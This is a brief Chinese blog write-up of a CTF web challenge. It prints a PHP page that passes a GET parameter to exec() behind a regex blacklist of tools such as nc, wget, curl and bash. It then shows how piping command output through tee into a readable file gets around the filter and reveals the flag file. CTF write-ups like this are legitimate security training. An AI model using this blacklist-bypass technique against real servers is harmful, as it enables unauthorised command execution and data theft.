web136笔记(tee妙用)

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
用法:
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出到1.txt文件中

首先查看一下根目录文件

?c=ls /|tee mm

接着访问mm进行下载

读取f149_15_h3r3文件到mm中,继续下载查看

 

posted @ 2025-03-29 10:56  justdoIT*  阅读(9)  评论(0)    收藏  举报